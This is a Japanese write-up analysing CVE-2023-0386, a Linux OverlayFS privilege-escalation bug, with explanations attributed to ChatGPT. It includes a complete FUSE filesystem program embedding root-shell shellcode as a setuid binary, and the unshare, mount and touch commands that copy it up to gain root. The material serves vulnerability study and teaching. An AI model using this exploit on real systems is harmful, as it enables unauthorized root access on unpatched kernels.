
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

本記事の理論知識(名前空間、オーバーレイファイルシステム、FUSEファイルシステム等)はすべてchatGPTから得たものです。
脆弱性ID: CVE-2023-0386
脆弱性製品: linux kernel - オーバーレイファイルシステム
影響範囲: 5.11 ~ 5.19
利用条件: unshare可能、またはオーバーレイファイルシステムを作成可能
利用効果: ローカル権限昇格
自分でカーネルをコンパイルする:
脆弱性対象バージョン範囲内で、5.15以外(5.15は問題があるらしい)のものを用意し、overlayとfuseの2つのfsを有効にする:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
ubuntu 21.10 カーネルバージョン5.13.0-16-genericで動作確認済み:

脆弱性の分析に入る前に、chatGPTにlinuxカーネル専門家の役を演じてもらいましょう:
(chatGPTへの質問:これからあなたはlinuxカーネル専門家として振る舞い、私の質問に答えてください)
脆弱性に関する公開情報は少なく、最も直接的には脆弱性のパッチ情報です。パッチのリンクは以下の通り:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

ovl_copy_up_one関数に1つのチェックが追加されていることがわかります。まずchatGPTにこの関数の役割を尋ねてみましょう:

つまり、この関数はオーバーレイファイルシステムの下層ファイルが上層にコピーされる動作の中で発生します。そして、文脈からこのパッチで新たに追加されたチェックを見ていきます:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 下層ファイルシステムのstatを取得
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2] パッチで追加:ファイルのstat属性内のユーザーIDとグループIDが現在の名前空間にマッピングされているかをチェック
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] まずvfs_getattr関数で下層ファイルシステムのターゲットファイルの属性を取得する。vfs_getattr関数はファイルのstruct path構造を渡すことで、対応するstruct stat構造を取得する。
[1.1] ctx.lowerpathはオーバーレイファイルシステムの下層ファイルシステム内のあるファイルパス。オーバーレイファイルシステムについては後述。
[1.2] struct stat構造体はファイルのメタデータ情報(ファイルの所有者・所有グループなど)を格納する。取得されたファイルの所有者情報は、次のパッチで追加されたチェックで判定される。
[2] 次にkuid_has_mapping関数を呼び出し、先ほど取得したファイルの所有者情報と所有グループ情報を判定する。ターゲットファイルの所有者と所有グループが現在のユーザー名前空間にマッピングされているかをチェックする。
[2.1] kuid_has_mapping関数は2つの引数(struct user_namespaceユーザー名前空間構造体とstruct kuidカーネルユーザー構造体)を受け取り、指定されたユーザー情報が指定されたユーザー名前空間にマッピングされているかを判定する。名前空間におけるユーザーのマッピングについては後で詳しく説明する。
つまり、現在この脆弱性のある関数(ovl_copy_up_one)の操作を実行する際、もしターゲットの下層ファイルの所有者ユーザーまたは所有グループユーザーが現在の名前空間にマッピングされていない場合、処理に失敗するというのがパッチの意味である。
これでパッチの原理は明らかになった。しかし、それでも以下の問題を解決しなければ、この脆弱性の再現は完了しない:
ovl_copy_up_oneが存在するロジック、すなわちオーバーレイファイルシステムで下層ファイルが上層にコピーされる処理をどのようにトリガーするか?lowerpathは、上記のロジックチェーンでどのような役割を果たすのか?これらの疑問を解く前に、いくつかの基本知識を整理しておく必要がある:
(chatGPTへの質問:Linuxカーネルにおける名前空間について説明してください)
Linuxでは、名前空間(namespaces)はリソース分離を実現するためのカーネル機能です。名前空間を使用することで、一連のプロセスがあたかも独立したシステム環境で実行されているかのように見せることができ、システムのセキュリティと管理性が向上します。名前空間はコンテナ技術(Dockerなど)で重要な役割を果たし、コンテナが他のコンテナやホストシステムに影響を与えずに隔離された環境で実行されることを可能にします。
Linuxカーネルは7種類の名前空間(mount、pid、net、ipc、user、time、cgroup)をサポートしており、各名前空間は特定のシステムリソースを分離します。名前空間はclone、unshare、setnsなどのシステムコールを通じて作成、変更、管理されます。コンテナランタイム(Dockerなど)やその他の仮想化ツールはこれらの名前空間機能を活用して、コンテナに独立した隔離された実行環境を提供します。
脆弱性パッチで追加された判定関数kuid_has_mappingは、上記7つの名前空間のうち**ユーザー名前空間(user namespace)**に関連します。
(chatGPTへの質問:この中のユーザー名前空間について説明してください)
ユーザー名前空間(User Namespace)は、ユーザーID(UID)とグループID(GID)を分離するために使用されます。ユーザー名前空間を使用すると、異なる名前空間で独立したユーザー・グループIDのセットを使用できます。つまり、あるユーザー名前空間のユーザーやグループは、別の名前空間では異なるIDや権限を持つ可能性があります。ユーザー名前空間は、特にコンテナ化環境において、システムのセキュリティと管理性を向上させます。
ユーザー名前空間の重要な特性はIDマッピングです。ユーザー名前空間は、ある名前空間のUID/GIDを別の名前空間のUID/GIDにマッピングすることを可能にします。つまり、異なるユーザー名前空間では、同じUID/GIDが別のユーザーやグループを表す可能性があります。例えば、コンテナ内のrootユーザー(UID 0)は、ホストシステムでは非特権ユーザーにマッピングされることがあります。
以下の点だけ覚えておけば十分です:
/proc/[pid]/uid_map; /proc/[pid]/gid_mapを変更する)。通常この操作には初期名前空間のroot権限が必要例として、breezeユーザーで新しいユーザー名前空間を作成し、そのユーザー名前空間内でroot所有のファイルを表示すると、所有グループがnobodyと表示される:

これは、新しい名前空間ではrootユーザーはその名前空間を作成したbreezeユーザーであり、初期名前空間のrootは手動で新しい名前空間にマッピングされていないため、新しい名前空間ではnobodyとして認識されるからです。
ここで、このパッチの意味がわかります:**コピー対象のオーバーレイ下層ファイルシステムのファイルについて、その所有者(グループ)ユーザー(グループ)が現在の名前空間にマッピングされている場合のみ、以降のコピー動作を継続し、そうでなければエラーを返す。**つまり、nobodyと認識されるようなケースはコピーに失敗するということです。
(chatGPTへの質問:Linuxにおけるオーバーレイファイルシステムについて説明してください)
オーバーレイファイルシステム(OverlayFS)は、Linuxカーネルの仮想ファイルシステムです。2つ以上の既存のディレクトリ階層("lower"および"upper"レイヤーと呼ばれる)を1つの統合されたビューにマージすることを可能にします。オーバーレイファイルシステムは、読み取り専用ファイルシステム(イメージなど)に書き込み操作を実装する場合に非常に有用であり、書き込み操作を重ね書き可能なレイヤーにリダイレクトできます。この方法はコンテナ技術(Dockerなど)で広く利用されており、軽量で高性能なファイルシステム仮想化ソリューションを提供します。
以下の図は、あるオーバーレイファイルシステムのディレクトリにおける実際の上下レイヤーファイルがmergeレイヤーのファイルに対応する効果を示しています:

上層ファイルシステムは書き込み可能なので、ユーザーが上層のファイルを変更する場合は直接変更されます。しかし、ユーザーが下層ファイルシステムのファイル(図のfile Dなど)を変更しようとする場合、下層ファイルシステムは読み取り専用であるため、file Dは上層にコピー(copy up)されてfile D'になり、その後変更操作が行われます。実際に変更されるのは上層にコピーされたfile D'であり、下層ファイルシステムのfile D自体は変更されません。これがオーバーレイファイルシステムにおけるCOW(copy on write、コピーオンライト)です:

(chatGPTへの質問:簡単なオーバーレイファイルシステムを作成する実際の操作例を教えてください)
以下の方法で、オーバーレイファイルシステムの作成方法を簡単に示します:
まず、lower1、lower2、upper、workディレクトリを作成します。これらのディレクトリはオーバーレイファイルシステムに使用されます。同時に、マウントポイント(例:merged)を作成してマージされたビューにアクセスします。そして、lower1およびlower2ディレクトリにいくつかのコンテンツを追加します:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
mountコマンドと-t overlayオプションを使用してオーバーレイファイルシステムをマウントします。lowerdir、upperdir、workdirパラメータを以下のように指定します:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
mergeディレクトリで上下レイヤーのファイルを確認できます:

このディレクトリ内で新しいファイルを作成、ファイルを削除、ファイルを変更しても、上層ファイルシステムのみが変更され、下層には影響しません。例えば、新しいファイルを作成した場合(実際にはupperに作成されます):

既存のファイルを変更する場合(ファイルをlower1からupperにコピーしてから変更):

まとめると、脆弱性に関連するロジックは、オーバーレイファイルシステム内の下層からのファイルを変更しようとすると、まずそのファイルが上層ファイルシステムにコピーされ、その後変更動作が行われる、という点です。
以上の分析から、脆弱性の全容をほぼ再現できます。オーバーレイファイルシステムでcopy up操作(下層ファイルの変更試行による下層→上層コピー)が発生した場合:
では問題は、なぜマッピングされていないユーザー所有者のファイルをコピーすると問題が発生するのか?
実は上の問題の答えは単純です。ファイルのコピーはファイルの内容だけでなく、ファイルのメタデータ(ファイルの所有者情報、タイムスタンプ、権限情報、さらにcapabilitiesなどの拡張情報も)すべて一緒にコピーされます。これにより引き起こされるリスクは、もし下層ファイルシステムがユーザーファイルシステム(fuseなど)であり、ユーザーが高度に制御可能で任意のファイルを定義できるが、そのファイルシステムにnosuidのような制限がある場合、この脆弱性により下層のユーザー定義のsuidファイルをnosuidファイルシステムから通常のファイルシステムにコピーでき、不正なsuidファイルがsuid特権を取得してしまう可能性があることです。これにより権限昇格が発生します。
(chatGPTへの質問:FUSEファイルシステムについて説明してください)
FUSE(Filesystem in Userspace)は、ユーザー空間(カーネル空間ではなく)でカスタムファイルシステムを実装・実行できるファイルシステムインターフェースです。FUSEの設計目的は、ファイルシステムの開発と展開を簡素化し、同時に良好な性能と安全性を提供することです。FUSEはLinuxおよび他のUnix系システム(macOSやFreeBSDなど)で広く使用されています。
簡単に言うと、FUSEファイルシステムは、ユーザー空間でファイルシステムのコールバック関数(open、write、readdir、さらにはgetattrのようなファイルメタデータ情報など)を自分で定義できるようにするものです。
以下のFUSEファイルシステムコード(chatGPT作成)は、学習の例としても、後の脆弱性悪用にも使用できます:
(chatGPTへの質問:FUSEファイルシステムの簡単なコード例を教えてください。このファイルシステムにはhelloファイルがあり、ファイル内容は"helloworld"文字列で、このファイルはroot所有のsetuidファイルです)
簡単に修正(ファイル内容をバックドアのバイナリデータに変更、ファイル権限設定、ファイルサイズなどを調整):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuseファイルシステム内にhelloという名前のファイル、ここはファイルパス
const char hello_str[] = {//fuseファイルシステム内のsuidバックドアファイルのバイナリ内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//ファイルまたはディレクトリの属性情報を取得するコールバック関数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuseファイルシステムのルートディレクトリの権限、0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//helloファイルの権限、777かつSUID付き
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //helloファイルの実際のサイズ
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//ディレクトリ情報を取得する関数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//現時点ではfuseのルートディレクトリのみ表示可能
return -ENOENT;
}
filler(buf, ".", NULL, 0);//デフォルトで.と..を表示
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuseルートディレクトリにhelloファイルが存在
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//ファイルを開くopenコールバック関数
{
if (strcmp(path, hello_path) != 0) {//helloファイルのみ開くことを許可
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//ファイルを読むコールバック関数read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//helloファイルのみ読み取り可能
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//helloファイルの内容、すなわち上記のバイナリ配列を返す
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = {//上記4つのコールバック関数のみ実装すれば十分
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//コールバック関数を登録
}
上記のコードはFUSEファイルシステムを作成しますが、中にはhelloファイルだけが存在し、その内容はバイナリのバックドアプログラムであり、権限はroot所有のsetuidファイルです。4つのコールバック関数のみ実装しており、helloファイルの基本的な表示、オープン、読み取りのみ可能です。以下のコマンドでFUSEファイルシステムをコンパイルしてマウントできます:
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
すると、fusefsディレクトリ内にhelloファイルが表示され、root所有のsuidファイルであることがわかります:

**しかし、通常のユーザーはsuidを有効にしてFUSEファイルシステムをマウントできません。つまり、通常のユーザーがマウントしたFUSEファイルシステムはすべてnosuidです。**そのため、このsuidバックドアファイルを実行しても、root権限を取得することはできません:

次に、CVE-2023-0386脆弱性と上記のFUSEファイルシステムを使って権限昇格操作を完了します。
まず、脆弱性シナリオに基づいてオーバーレイファイルシステムを構築します。下層ファイルシステムとしてFUSEファイルシステムを使用し、上層ファイルシステムとして書き込み可能なディレクトリを用意します。workdirなどのオーバーレイ関連ディレクトリを作成し、FUSEファイルシステムをマウントします。
mkdir hello_mount_point overlay_mount_point upperdir workdir # 関連ディレクトリを作成
./hellofs hello_mount_point # FUSEファイルシステムをマウント

次に、新しいユーザー名前空間、マウント名前空間、PID名前空間を作成します。オーバーレイファイルシステムを作成するためにマウント権限が必要ですが、デフォルトではマウント権限がないため、新しい名前空間でマウント権限を取得する必要があります。
unshare -Urm

オーバーレイファイルシステムを作成します。上記のsuidバックドアファイルhelloを持つFUSEファイルシステムを下層とし、上層は書き込み可能なupperディレクトリとします:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point

現在のオーバーレイの効果は以下の図の通り:

現在の目標は、脆弱性を利用して、suidバックドアファイルをnosuidでマウントされたFUSEファイルシステムからupperファイルシステムにコピーすることです。upperファイルシステムはOSのデフォルトファイルシステムであり、suidが有効です。この操作により、バックドアファイルとそのsuid属性が一緒にコピーされます。そのため、現在オーバーレイファイルシステムのcopy up操作をトリガーする必要があります。この操作は通常、下層ファイルを変更しようとしたときに発生します。これが、FUSEファイルシステム内でhelloファイルの権限を777に設定した理由です。
ファイルの変更とは、ファイルの内容を変更することだけを指すわけではありません。ファイルのタイムスタンプなど、他の属性の変更もcopy up操作をトリガーします。touchコマンドは、既存のファイルに対して新しいファイルを作成しようとする場合、既存のファイルを上書きせず、ファイルのアクセス時間と修正時間のタイムスタンプのみを変更します。タイムスタンプ情報もファイルのattr拡張情報に含まれ、その情報が変更されると同様にオーバーレイファイルシステムの上層コピーがトリガーされます。
コールスタックは以下の通り。ファイルのアクセス・修正タイムスタンプを変更すると、ovl_setattrで上層コピー(copy up)がトリガーされます:

上記の操作手順に戻り、オーバーレイファイルシステムのmergeディレクトリに入り、touchを使用してバックドアファイルhelloのタイムスタンプを変更するだけです:
touch overlay_mount_point/hello

ここでcopy upがトリガーされました:

上層ディレクトリ(upperdir)を確認します:
ls -al upperdir

その後、名前空間を抜けてupperdir/helloを実行すると、rootシェルが取得できます:

exp.c を参照
コンパイルと実行:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
このパッチの意義は、私たちが行ったような操作で権限昇格を試みる場合、初期名前空間のrootユーザーは新しいユーザー名前空間にマッピングされていない(特権が必要なためマッピングも不可能)ため、操作が失敗することです。もしそのユーザーが新しいユーザー名前空間に既にマッピングされている場合は、正当なシナリオと見なされます。